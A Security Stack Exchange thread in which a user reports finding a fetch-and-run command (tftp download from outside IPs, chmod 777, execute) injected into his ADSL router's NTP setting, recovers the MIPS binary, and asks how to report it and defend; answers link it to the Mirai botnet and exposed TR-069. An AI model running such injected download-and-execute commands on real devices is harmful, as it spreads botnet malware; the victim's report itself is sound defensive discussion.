2

Backstory

Few years ago I bought an Aztech DSL5005 ADSL router, it was the only router available which I could verify I can telnet to and get a proper Linux environment (I wanted an OpenWRT enabled ADSL router, but could not get any!). From then, I had good experience with it; I was able to cross-compile many things and get them working on it, namely transmission-daemon, wget, httpd, transocks... It was a great help as I get only few hours of electricity each day, and it helps to keep the router with a plugged flashdrive to get all the upload/download that I need for my work, since I cannot keep my laptop running all the time.

Discovering the problem

Two months ago, I went on to the router's web interface to play with some QoS settings... While wandering around settings, I found this, as a "Custom NTP Server":

`cd /tmp;tftp -l4 -r4 -g 182.186.194.41 43630;chmod 777 4;./4`

I instantly disconnected the phone cable off the router, telnet'ed to it and checked for the said file, it was not there! Next thing I did was to backup settings (It gives you a pseudo-xml file with a hierarchy of settings), and then did a hard factory reset. I proceeded to manually put the ADSL settings back...

I started to ponder what could be the source of the hack: While the router has an "admin" user for its web interface whose password can be changed, telnet user/pass are always admin/admin even after changing the web interface counterpart. I was able to mitigate this by altering config file and uploading it (then I found out it also includes two other hardcoded credentials for its web interface, I changed both). Although telnet interface is LAN only and cannot be accessed from WAN, I thought maybe a bad malware on a connected guest smartphone could have done this harm.

I tried retrieving the said file manually to examine it, but I could not (timeout/unreachable)... I left things there and thought that's it, but then after few days I checked again and found this:

`cd /tmp;tftp -l4 -r4 -g 84.249.67.148 48896;chmod 777 4;./4`

Again, somehow, the router got this again, I telnet'd: No file, tried to get the file (by manually executing tftp -l4 -r4 -g ...), but it could not get it... I tried for a long time to find out the culprit, I could not... So after wasting much time I resorted to leaving it, and thinking that it is maybe an old threat that got its master servers offline, thus it cannot retrieve its files, and it will do no harm (Not that I could do anything anyway!)

But! Today: Again! I found this:

`cd /tmp;tftp -l4 -r4 -g 31.9.x.x 36227;chmod 777 4;./4`

This time something was different: The IP block belongs to my country, and the file was there! So the previous IPs were not of a control server, but rather of previous victims, only this time a victim was within my national network and the file could be retrieved. I rebooted the router then telnet'ed to it and created a directory in place of the file to be retrieved (so it cannot be overwritten), then retrieved the file manually and copied over:

aularon@etabits-laptop:/tmp$ file 4
4: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

The file is compiled for my router architecture...

What should I do in this case? Is there a place where I can send said file for analysis? To security researchers who know better than me.

I am interested in two things:

  • Providing information on this "botnet",
  • Knowing how to take counter measures, for now I am creating the /tmp/4 directory and that's all I could come up with.

Please advice!


Edit: This question is not a duplicate of How do I deal with a compromised server?; With a compromized server one has many options and methodologies that does not apply when working on a router... I can not even update let alone do a fresh install, it also lacks many program, plus I am unable to capture network packets from/to WAN, as they get to the router first. (@mootmoot's answer seems to push in the right direction, I am checking that and will get back to it)

  • 3
    Possible duplicate of How do I deal with a compromised server? – Philip Rowlands May 19 '17 at 11:29
  • Not a duplicate although they are related, see edit. – aularon May 19 '17 at 19:25
  • 1
    iptables and block access to telnet? – schroeder May 19 '17 at 19:41
  • telnet is not exposed to WAN. The vulnerability seems to arise from TR-069 (on port 7547), which is exposed to WAN. I am going to disable it from the settings. (iptables chains reset on every pppd session for some strange reasons, and I get a lot of internet d/cs besides power on/offs overhere) – aularon May 19 '17 at 19:51
  • Decent Security has a good list of sites you can use to report the malware. – Daniel V May 19 '17 at 20:01
3

Google should tell you that your router model are vulnerable to Mirai botnet attack.

I don't think you can "buy" any OpenWRT router because it is about flashing an router that "flashable" with OpenWRT, there is chances to brick the router. So it is more towards DIY activities with no support from router vendor.

  • One can buy an OpenWRT router, problem that only few of them retain ADSL modem firmware, and I got none of them where I live... I did a good research on that back then, much better than I did this time when searching for the issue at hand (Actually I apparently got this Incapsula article as first hit when I put my router model, but dismissed it amidst the zillion tabs of my unfruitful research; it is blocked in Syria). – aularon May 19 '17 at 20:00
  • This time, thanks to you, I took things a step further and used a proxy service to access this piece of substantial knowledge, and got to learn of the proper keywords to resume my research. Thanks! – aularon May 19 '17 at 20:00

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.